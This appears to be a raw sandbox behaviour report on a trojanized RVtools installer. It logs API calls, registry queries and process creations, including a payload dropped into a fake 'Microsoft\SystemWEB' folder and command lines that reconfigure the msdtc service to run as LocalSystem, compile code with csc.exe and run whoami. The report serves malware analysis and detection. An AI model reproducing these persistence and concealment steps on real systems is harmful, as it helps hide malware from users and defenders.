1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c9388a95fc7f00008000000000000000000000000000000010b33f01000000001033ce97fc7f000000000000000000000000fa96fc7f000040daea1b0000000010418795fc7f000010753f010000000000daea1b00000000000000000000000000000000000000000100000000000000b8408795fc7f0000060000000000000001000000000000000000fa96fc7f00003b4d3595fc7f00000000000000000000b8deea1b000000000000000000000000d02a0c97fc7f000010b37297fc7f0000e8f88695fc7f000010b37297fc7f0000d02a0c97fc7f00000d000000fc7f00000d00000000000000a0f66297fc7f0000f5870797fc7f0000d02a0c97 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000feffff7f00000000660c000000000000fc000000000000009ecdea1b0000000000000000000000000400000000000000be393395fc7f000048734b96fc7f00000000000000000000b0ec3f010000000030c1ea1b000000000a0000000000000030e93f0100000000d8c1ea1b02000000000000000000000043003a005c00550073006500720073000000ea1b00000000000000000000000020caea1b0000000018caea1b00000000e0d1bf97fc7f00009000c097fc7f00000000000000000000c9d2cc97fc7f00001a003c00000000002000000000000000d0473e01000000001800000000000000f8c1ea1b00000000000000000000000000000000 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000000011410100000000b2314101000000007031410100000000000000000000000000000000000000000000000001000000a8bfea1b0000000048734b96fc7f000000000000000000000011410100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000703141010000000084314101000000007031410100000000b23141010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070314101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000002000000000000000000000000000000002000000000000000000000000000000a9b9ea1b000000000000350100000000aac7cc97fc7f0000000023010000000060becc97fc7f000018000000000000000000000000000000b0c1ea1b00000000f80e4101000000000000000000000000b0bcea1b000000003087410100000000120000000000000070baea1b000000008f421b93fc7f000000000000000000001000000000000000a700000000000000000000000000000000000000000000000000000000000000af564001000000001000000000000000e0fc39010000000090483e0100000000604b4001 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000705e410100000000da1a400100000000f01940010000000028a3ea1b0000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f00000000000000000000705e410100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000961a400100000000ac1a400100000000961a400100000000da1a400100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000961a4001 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000508a370100000000d2bc41010000000020bb410100000000500135010000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f00000000000000000000508a370100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000008cbc410100000000a4bc4101000000008cbc410100000000d2bc4101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008cbc4101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000d08c370100000000ee86410100000000408541010000000028a3ea1b0000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f00000000000000000000d08c370100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ac86410100000000c086410100000000ac86410100000000ee86410100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ac864101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000508a370100000000e2c541010000000030c441010000000028a3ea1b0000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f00000000000000000000508a370100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000009cc5410100000000b4c54101000000009cc5410100000000e2c54101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009cc54101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000005086370100000000b08a410100000000008941010000000028a3ea1b0000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f000000000000000000005086370100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000006c8a410100000000828a4101000000006c8a410100000000b08a4101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006c8a4101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000000050863701000000001298410100000000609641010000000028a3ea1b0000000018a3ea1b0000000018a3ea1b0100000028a5ea1b0000000048734b96fc7f000000000000000000005086370100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000cc97410100000000e497410100000000cc974101000000001298410100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000cc974101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000001035420100000000b28a410100000000008941010000000000000000000000000000000000000000000000000100000028a5ea1b0000000048734b96fc7f000000000000000000001035420100000000ef5e2493fc7f0000801d7593fc7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000006c8a410100000000848a4101000000006c8a410100000000b28a4101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006c8a4101 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004460) "RVtools-4.7.0.2.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001196)32:T400,"start.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "RVtools-4.7.0.2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "sc.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")33:T60f,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "RVtools-4.7.0.2.msi") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "RVtools-4.7.0.2.msi") file/memory contains long string with (Indicator: "GetVersion"; File: "nsExec.dll") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "7917946682,1448,3024,,RtlGetVersion,NTDLL.dll,"01:08:32.312",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00001196.00000000.263272.005F0000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "Py_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00007744.00000000.264689.60A20000.00000002.mdmp") Found reference to API "python312.Py_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00007744.00000000.264689.60A20000.00000002.mdmp")34:T894,"UsbService86.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "UsbService86.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "UsbService86.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "")35:Tf03,"start.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\start.exe" at 00000000-00004460-00000C17-3102247547 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128647101 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128648642 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128656200 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128657951 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128661731 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128664049 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128668450 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128670086 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128671438 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128672785 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128673990 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128676784 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128677744 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128678880 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128680252 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128681285 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" at 00000000-00007744-00000C17-3128682513 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128684702 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128686951 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128688886 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128690173 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128691612 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-3128695231 "UsbService86.exe" queries volume information of "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip" at 00000000-00007744-00000C17-312869806736:Ta44,Found reference to API "OpenSCManager" (Indicator: "OpenSCManager"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumDependentServices" (Indicator: "EnumDependentServices"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatusEx" (Indicator: "EnumServicesStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatus" (Indicator: "EnumServicesStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumDependentServicesW" (Indicator: "EnumDependentServices"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenSCManager" (Indicator: "OpenSCManager"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatusEx" (Indicator: "EnumServicesStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatus" (Indicator: "EnumServicesStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumDependentServices" (Indicator: "EnumDependentServices"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumDependentServicesW" (Indicator: "EnumDependentServices"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp")37:Ta35,"UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")38:T5e6,"UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "UsbService86.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "UsbService86.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "UsbService86.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")39:T405,"RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter C:\ProgramData (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\__pycache__ (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__ (UID: 00000000-00001196)3a:T43d,"start.exe" called "CreateProcessW" with parameter ""%TEMP%\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\RVtools-4.7.0.2.exe"" - (UID: 00000000-00004460) "RVtools-4.7.0.2.exe" called "CreateProcessW" with parameter "msiexec.exe /i "%ALLUSERSPROFILE%\Microsoft\SystemWEB\rvtools.msi"" - (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateProcessW" with parameter "sc config msdtc start= demand" - (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateProcessW" with parameter "sc config msdtc obj= "LocalSystem"" - (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "CreateProcessW" with parameter "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\UsbService86.exe %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\LICENSE1.txt" - (UID: 00000000-00001196) "UsbService86.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\5aat0yyl\5aat" - (UID: 00000000-00007744), "UsbService86.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\whoami.exe"" - (UID: 00000000-00007744)3b:T58d5,"start.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter 